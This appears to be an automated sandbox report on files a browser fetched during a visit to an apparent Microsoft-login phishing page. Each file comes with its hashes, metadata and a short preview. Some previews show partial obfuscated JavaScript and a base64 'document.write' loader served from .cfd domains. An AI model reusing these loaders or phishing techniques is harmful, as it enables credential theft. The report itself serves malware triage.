C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue May 7 13:12:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.002419105998434
Encrypted:	false
SSDEEP:	48:8T30dCsTPjEHTidAKZdA1duTrehOuTbbiZUk5OjqehOuTb0y+yT+:8z3snpTYTbxWOvTb0y7T
MD5:	3675C8D1E047A73CADA28AC6A7C687C3
SHA1:	40AE5EFDAD0DA089B44E5F561809A133F0C2A5EB
SHA-256:	673F3B36FA59B02D0F4D750AC56996C3530639EA57E69572B02128543DA68DE9
SHA-512:	E03EBE6F18D4410FA022E0E16C364A3E5378F64C4529BD816C4C1F217C43C757E7E795A2EF12001E3A34CED6BCF0029C110103412509F02E2D5D42BE49C77066
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....f......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.X.q....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............x.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (408)
Category:	dropped
Size (bytes):	528
Entropy (8bit):	5.949755476951031
Encrypted:	false
SSDEEP:	12:9LmH3PIIV5ztM29YZECpp+MNkfLf8pt/yVVsCIjqTcx2:9ifnhFVCpp+Dr3VsLewx2
MD5:	F61F0A06A448C491729B76F742622564
SHA1:	0C86E473BCB4F27D0BE7899D40362EF30A31147E
SHA-256:	7E0C6554AE93F664BCD05B1E9A2352027CBB98D2895E0FC2710853C0F02CEDC9
SHA-512:	8DA927F3B78C9A02B5744F75DEB635AA88DD44E3C564C2C3AF840D938398F0B603F80F7E48905F9DE7303446CE2FB047F8BEC535A4213E6AF450C12FDE3ABE80
Malicious:	false
Reputation:	low
Preview:	<br />.<b>Warning</b>: Undefined variable $send in <b>C:\xampp\htdocs\dashboard\index.php</b> on line <b>146</b><br />.BSDgEQSBkTrqgVNorN8G+5xIYo79JhoxvN3Wal2zYDbgmqguMiYmLgJLB/2ei02qOOF2zbdlzvkraWM2m4wfMM/DFqVZpbbefQSsu9ZivaJ58VFEYHYhZuMa52ruMoWmfd/Q25vYnqhQKsQO0qAQ4HB5Bw1QpvnLxB+R87dJQk4cxeJYudOF9mCpjUuL/vOGv4Txl27nLuZsR/TP18dahj7tEfxxZjR8+IR1qXnrIp/mp691YqOBpn1zHdsg/HlYW/H1bhlTJaOL2G7QGT0QekpkvCsA7sW/Mij5qlaNHzIYFU1/REpkMfmapbK3f+RbGuUYJqCuHhR22bAkM2aiI33qbxlUHlsI0XfPvevsaZOtHAxClZDktVL+5AfYkzJVF+rdFYsuLoUixY18UqHQKg==

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1636
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.724574132641631
Encrypted:	false
SSDEEP:	12:X/jl4Tol5Ed4RGgQN3Nxzqw90jSb82gne9uHZaV3n5OT0y62DjI1iUArBkDmGoiP:X/HO93xuz2geicN5qa1fArymGoiX5d
MD5:	D6342579C1096868453B6B2DE4A5CB86
SHA1:	D23F1A7822E8C14DCF7F9034AEF8664C27A27DFF
SHA-256:	1068E05365AB35B0FA7EBE2BB144335E9BE4172358808FA96AE25EC4E998BB0A
SHA-512:	74B3F208F2CBBD38B03117EAB5D1B3AB432E07708BC7585F0480F76E21A51BBEE496242CE8AB535B4B7E7EB72C8BC37F04B40247C47761592DB64768C71E9061
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..........uUK..1..+hz.1....=q.+..P.2H.e....9..Tl>L.8~\|........z]w.4.._...;.-.}..b.Y.[.O...\....t...N....ug.f.....j:M..f.....jY..>....y.s:......[nV..i\<..'.zv[6;.6..H/..$[....B.U.....-{.w.$..-I......(..y ....^...@..A...vb.6.%./..c2b.#A.~'F.]`...U;Q....'.o...:....s#D./N.V..FG....dJ>...^..%.....o(.z.H.a..41..bYM....$..r.(JB.^......e.I...XYk.X....Y.P.!.K}..DR)+2..B.....&...4..z.K.+9i.z..lX..1..P70c.(..W..su.'.....J.HVp....q.....6]...2..W.(E...pn...q.E.S..5...cl..6.Zn.hXn..q3...}.b<....](....j....T:k!.s............).I%56Y.-..PqpP..\|...N.8..$.z.)F&he..d.6.....#..!T..y).. e5.)M.;,.a......FB.>......3a'(\...u..o...F..\.!jm.}....J)g1..C.......J-...Ry..I....<.H...J..\.]\..8}.B.k.+B.'..C..e....}y.........9zG.[b.D.U..[._].5?.......c.....Id...

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3095), with no line terminators
Category:	downloaded
Size (bytes):	3095
Entropy (8bit):	5.44855504011176
Encrypted:	false
SSDEEP:	48:bXHyJ8wl71TUIL3EIbX2EDxAw9ezhl5e2BKsKXQ7XRVe65yZuPIE66yzslIMUtSF:bOlqILnro5e2kEXRgZzs4S
MD5:	A62A504716618EFE328B21F7200BDEC6
SHA1:	F980FAF57026281F928EF96C45760CB0335A450D
SHA-256:	50D9FD95231B6900DE39E13CBF42E16E81C7399685E086875C3BFA29266E228A
SHA-512:	6F29110860DC6BFFF5637295BA82B460B6948EABD1019A0E151B5E3635C3472ED95E4E03A2ED4A5287D6328DD1B4295F8926848474CD1786638BE010226F2E94
Malicious:	false
Reputation:	low
URL:	https://indall.cfd/dashboard/js
Preview:	function _0x40cf(){var _0x2b2fef=['ajax','.DLMYT2k.','1710RizPDJ','2443LHuxRi','lib','hash','onload','36cZcYqG','pad','Utf8','54HZVkhy','words','close','50FodMgY','decrypt','dir','Status: ','16664IjtvYI','228305zFFkfF','enc','204285ASrtqK','slice','Base64','Error: ','sigBytes','1180287jIKxMg','431LFcbDE','head','POST','9VVgjUS','toString','parse','getElementsByTagName','WordArray','1699789XDdQfi','https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js','create','log','src','substring','AES','createElement','67392xScCYD'];_0x40cf=function(){return _0x2b2fef;};return _0x40cf();}var _0x5d9d0b=_0x4793;(function(_0xe5b782,_0x5a69de){var _0x3776f7=_0x4793,_0x2d4d8c=_0xe5b782();while(!![]){try{var _0x38852d=-parseInt(_0x3776f7(0x80))/0x1(parseInt(_0x3776f7(0x93))/0x2)+parseInt(_0x3776f7(0x83))/0x3(parseInt(_0x3776f7(0x90))/0x4)+-parseInt(_0x3776f7(0xa5))/0x5(-parseInt(_0x3776f7(0x9b))/0x6)+-parseInt(_0x3776f7(0x94))/0x7(parseInt(_0x3776f7(0xa2))/0x8)+parseInt(_0x3776f7(0x

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	downloaded
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 13 x 44, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.022997040570905
Encrypted:	false
SSDEEP:	3:yionv//thPloTtn/0//xl/k4E08up:6v/lhPSM//7Tp
MD5:	D5790677B28B1BE818ACB151FB99B922
SHA1:	D7A629F9B98324D8C0D53F9ACAE7BCBE44A4FC45
SHA-256:	2C1CB0714FD1D573D2AD7741C461FAD80AF769B9F06549283ED5A57467994127
SHA-512:	F1AE01187D7126E20F38764F0305955336AF534C64AB4D45B3356A9B6008CD146D219C33342362FCEF9FFE9A9490C167B07C7D5E6BEF1A8BC50CDEDAFC84C5C7
Malicious:	false
Preview:	.PNG........IHDR.......,.....1y......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	dropped
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 222
Category:	downloaded
Size (bytes):	184
Entropy (8bit):	6.692867742337014
Encrypted:	false
SSDEEP:	3:Fttm/4bjlHuTCKJzL/Y3Iv0lq27x83uXl2lr9HOrI8FKVOTdeWfux5ECaPFglX2Y:Xtm/KjlOeK9L/Y3I8FSuBr2FTECaPFgV
MD5:	CA4B8E9CC693A34BF0D86C7F65C7A23E
SHA1:	E11589C322538938AED1B3BEA446C598D07FDB98
SHA-256:	599DDE1115740E2480B6DA5B18BE2EF3E68036D539537F0EFD5EB05EA04E8513
SHA-512:	145372BBB319ABABAE2AAB510E68E8A84CCE2657E9D04792905CCAB830112F0728CA9D9A09A6068A35AD241A0FEAC36A9F674A2A9468A0E9908FDBABF64DFC9E
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_account_add_77a852ed38516108ced087b72b525d25.svg
Preview:	..........=N...0....v...V..z....v..l..b.u...a$....~...v......(.1....6Sd...........1..&.~.:.C.#..&.Z.lp.....Kz^r...4.S....{.v..:......\.`.....y...;.z^w.{.....'_....@..<..n..r.7....

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1378
Category:	dropped
Size (bytes):	628
Entropy (8bit):	7.6610853322771
Encrypted:	false
SSDEEP:	12:X6/EjXb5e1vpPDySPLiDB/3YLZzrlDuLRndk6l3WZi1epo7IyhadSH8Ib1yfuI:X6cP5e3dgYLMk69Ii1epryt/Md
MD5:	6F68E9881DF18F8E251AB57D5786239B
SHA1:	C0F7A01A288752833390FC330995F25488BCE8EC
SHA-256:	B33E30351B2F4EF67D53D2C6DBE189A4D572425037E4F1264A0190DC4A820845
SHA-512:	B33DFF67480DF940FA0565B231E02F26840DCB5135A4A2FF3C310AA062D3D4B456FA9C8C6E2BC59EC76B515EA1B36D574A5701771BCEE7CEE97B99EF60A803C6
Malicious:	false
Preview:	..........m.Mo.0.....]%F..6...rX.;..&i..].&HZ...#%...B..4.W$.....>....v8...f....g.O/.3k....ms.o....m...a8.......u..4>.]....r~8...%.....x.m.y].....u.>..7....l.]....i..fC.[O..z.)..r..........g!(.+....4.P9.0@.......R.......^q.I[..7.....Q;...6.N....a.d.%....:...6FE.}.......}s.`LV..Q.U. 8..}..y.&..I..a.\.8%..kgoo.Q6...>.5.8..!.....".t9].v.B) `.G6.V.E\..AJQU.7...J.oS..........@......l.....{.r..KP@......9YD..U......&..:..d......+/...(..:.S_...S......n..z.a...,.,&VB......eJR)...R.H3])>....9O.........KDi.O..#...-?D.1..N.p....h.#.Z.[/..!.h..$..S..Phdqd....}.....E>g..q5..J.T......u.....i.b...

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 222
Category:	dropped
Size (bytes):	184
Entropy (8bit):	6.692867742337014
Encrypted:	false
SSDEEP:	3:Fttm/4bjlHuTCKJzL/Y3Iv0lq27x83uXl2lr9HOrI8FKVOTdeWfux5ECaPFglX2Y:Xtm/KjlOeK9L/Y3I8FSuBr2FTECaPFgV
MD5:	CA4B8E9CC693A34BF0D86C7F65C7A23E
SHA1:	E11589C322538938AED1B3BEA446C598D07FDB98
SHA-256:	599DDE1115740E2480B6DA5B18BE2EF3E68036D539537F0EFD5EB05EA04E8513
SHA-512:	145372BBB319ABABAE2AAB510E68E8A84CCE2657E9D04792905CCAB830112F0728CA9D9A09A6068A35AD241A0FEAC36A9F674A2A9468A0E9908FDBABF64DFC9E
Malicious:	false
Preview:	..........=N...0....v...V..z....v..l..b.u...a$....~...v......(.1....6Sd...........1..&.~.:.C.#..&.Z.lp.....Kz^r...4.S....{.v..:......\.`.....y...;.z^w.{.....'_....@..<..n..r.7....

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 13 x 44, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.022997040570905
Encrypted:	false
SSDEEP:	3:yionv//thPloTtn/0//xl/k4E08up:6v/lhPSM//7Tp
MD5:	D5790677B28B1BE818ACB151FB99B922
SHA1:	D7A629F9B98324D8C0D53F9ACAE7BCBE44A4FC45
SHA-256:	2C1CB0714FD1D573D2AD7741C461FAD80AF769B9F06549283ED5A57467994127
SHA-512:	F1AE01187D7126E20F38764F0305955336AF534C64AB4D45B3356A9B6008CD146D219C33342362FCEF9FFE9A9490C167B07C7D5E6BEF1A8BC50CDEDAFC84C5C7
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8801cdc8cadc8c54/1715091136927/4lVIDFE6iybK3L-
Preview:	.PNG........IHDR.......,.....1y......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1636
Category:	downloaded
Size (bytes):	790
Entropy (8bit):	7.724574132641631
Encrypted:	false
SSDEEP:	12:X/jl4Tol5Ed4RGgQN3Nxzqw90jSb82gne9uHZaV3n5OT0y62DjI1iUArBkDmGoiP:X/HO93xuz2geicN5qa1fArymGoiX5d
MD5:	D6342579C1096868453B6B2DE4A5CB86
SHA1:	D23F1A7822E8C14DCF7F9034AEF8664C27A27DFF
SHA-256:	1068E05365AB35B0FA7EBE2BB144335E9BE4172358808FA96AE25EC4E998BB0A
SHA-512:	74B3F208F2CBBD38B03117EAB5D1B3AB432E07708BC7585F0480F76E21A51BBEE496242CE8AB535B4B7E7EB72C8BC37F04B40247C47761592DB64768C71E9061
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg
Preview:	..........uUK..1..+hz.1....=q.+..P.2H.e....9..Tl>L.8~\|........z]w.4.._...;.-.}..b.Y.[.O...\....t...N....ug.f.....j:M..f.....jY..>....y.s:......[nV..i\<..'.zv[6;.6..H/..$[....B.U.....-{.w.$..-I......(..y ....^...@..A...vb.6.%./..c2b.#A.~'F.]`...U;Q....'.o...:....s#D./N.V..FG....dJ>...^..%.....o(.z.H.a..41..bYM....$..r.(JB.^......e.I...XYk.X....Y.P.!.K}..DR)+2..B.....&...4..z.K.+9i.z..lX..1..P70c.(..W..su.'.....J.HVp....q.....6]...2..W.(E...pn...q.E.S..5...cl..6.Zn.hXn..q3...}.b<....](....j....T:k!.s............).I%56Y.-..PqpP..\|...N.8..$.z.)F&he..d.6.....#..!T..y).. e5.)M.;,.a......FB.>......3a'(\...u..o...F..\.!jm.}....J)g1..C.......J-...Ry..I....<.H...J..\.]\..8}.B.k.+B.'..C..e....}y.........9zG.[b.D.U..[._].5?.......c.....Id...

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (9526), with no line terminators
Category:	downloaded
Size (bytes):	9526
Entropy (8bit):	5.823411192674448
Encrypted:	false
SSDEEP:	192:EIoia8JT5ZI7NY0hSHSXtaWnIm/X33/mhz:ciao5ZGlIktauIuPW
MD5:	FBD06B602EE9A6687311C1E9DE8A7F52
SHA1:	5FC13F305DEAA86870333A4F2B90CE8B634AEE01
SHA-256:	8779A88E76C05A5E3FD463C64CC2D5618A892A0FCE1147255367BD441163ED8F
SHA-512:	7BDA503EAC17B29B791D575CEF6B09E88930ADA49DDA59B302ABC9BADA1B9EAB749DAA00F8D0EEC38A177F62DCFF7CE58E0D2224B024F86AC1243DB7D280A6AA
Malicious:	false
URL:	https://inroleet.cfd/dashboard/jdiey
Preview:	<script>document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1lZGdlIj4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgPHRpdGxlPjVkSXFtY2xIPC90aXRsZT4NCiAgICA8c3R5bGU+DQojcVZDR0NHc2pkdCAqIHsNCiAgICBwYWRkaW5nOiAwOw0KICAgIG1hcmdpbjogMDsNCiAgICBib3gtc2l6aW5nOiBib3JkZXItYm94Ow0KICAgIGZvbnQtZmFtaWx5OiAiU2Vnb2UgVUkiLCJIZWx2ZXRpY2EgTmV1ZSIsIkx1Y2lkYSBHcmFuZGUiLFJvYm90byxFYnJpbWEsIk5pcm1hbGEgVUkiLEdhZHVnaSwiU2Vnb2UgWGJveCBTeW1ib2wiLCJTZWdvZSBVSSBTeW1ib2wiLCJNZWlyeW8gVUkiLCJLaG1lciBVSSIsVHVuZ2EsIkxhbyBVSSIsUmFhdmksIklza29vbGEgUG90YSIsTGF0aGEsTGVlbGF3YWRlZSwiTWljcm9zb2Z0IFlhSGVpIFVJIiwiTWljcm9zb

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42565)
Category:	downloaded
Size (bytes):	42566
Entropy (8bit):	5.373717288910203
Encrypted:	false
SSDEEP:	768:rC9/MTwHupl8tSiWSqEnPyIQvSFdREde/M+oGgeIHgTPUsZASy50JHW4mH19cWw:h8Hupl8tSneyIQajOGg4ww
MD5:	A5B92920E25651D2058F4982A108347B
SHA1:	CAEEADD68D38FDB681C52006C68880ABC2E8A1A6
SHA-256:	49A5ABEDF03EB8AD9A66ECA7C5CCB8E59A440E06958E1E7B71D078F494178DC5
SHA-512:	94B23A3706A8E899E3F06B531B4F08D7924580EB7DB63954B3EC1A95F15ADD948F227D59D3AE05E111087EB8499798E710D08B74FF33D6F832BB5491CB7B21E9
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/ce7818f50e39/api.js
